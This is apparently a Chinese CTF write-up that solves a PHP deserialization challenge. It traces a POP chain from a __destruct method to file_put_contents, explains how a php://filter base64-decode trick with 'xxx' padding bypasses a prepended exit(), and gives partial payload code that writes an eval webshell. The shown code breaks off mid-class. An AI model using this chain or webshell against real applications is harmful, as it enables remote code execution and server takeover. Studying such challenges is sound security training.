前言
- 好久没写了,懒了
解题
-
最后有一个反序列化函数
unserialize来推一波poc利用链。 -
从后往前推,首先看到
file_put_contents函数,可以写入webshell文件。 -
再来看看两个参数。其中可以看到
data,经过了拼接处理,其中有一个exit好像不太行,但我们可以利用php伪协议绕过,看看这篇详情介绍谈一谈php://filter的妙用$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; -
往上,虽然有个数据压缩的代码,但是只需要
options['data_compress']为假就不进入if不执行,经过了serialize函数,但这个函数并非是序列化函数,而是在class B中自定义的serialize函数。 -
但是
$value变量来自class A中调用set函数时传递的$contents变量。那么class是怎么调用class B中的set函数,首先魔术方法__destruct()在反序列化时被调用,if一个!$this->autosave,这就要求$this->autosave为假,然后是调用save()函数,其中的$this->store->set();完成调用,这就要求$this->store为class B的对象。 -
在往上,
$contents变量来自函数getForStorage();的返回值,其中参数为数组[$cleaned, $this->complete],两个选择,第一让$cleaned为shell内容,第二就是$complete,显然$complete更简单,所以让$complete为shell内容,那么$cleaned为一个空数组就行了。 -
再来看看
filename,往上找的一个就是函数getCacheKey($name);的返回值,返回的是options['prefix'] . $name;两个变量拼接,其中$name来自class A中调用set函数时传递的$key变量。结束。 -
然后就再来看看具体的paylaod。
-
首先调用
class B中set函数的条件$this->autosave=false,$this->store=new B(); -
再是shell路径
$this->key = "php://filter/write=convert.base64-decode/resource=shell.php";,options['prefix']不要也行,反正只是拼接。 -
然后来看shell内容,首先绕过数据压缩
$this->options['data_compress'] = false; -
然后是让
$cleaned为空数组,它调用了cleanContents($this->cache);因为函数参数是数组类型,所以让$this->cache=array();为一个空数组,防止调用报错。 -
最后是shell内容,
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["1"]);?>'));,$this->options['serialize'] = 'base64_decode'; -
第一次编码是为了绕过exit,第二次是为了防止出错,但中间拼接的
'xxx'的作用是啥? -
base64算法解码时是4个字节一组,如果直接伪协议base64解码前面拼接内容
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"如果不足4的倍数会向后取三位补足4的倍数,破坏我们的shell内容,所以我们加上字符补全,来看看需要补多少个字符。 -
sprintf('%012d', $expire)不用管,输出12个字节刚好。由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以剩下phpexit九个字节,补三个。 -
payload
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["1"]);?>'));
$this->key = "php://filter/write=convert.base64-decode/resource=1.php";
$this->store = new B();
$this->autosave = false;
}
}
class B{
public $options = array()

1612

被折叠的 条评论
为什么被折叠?



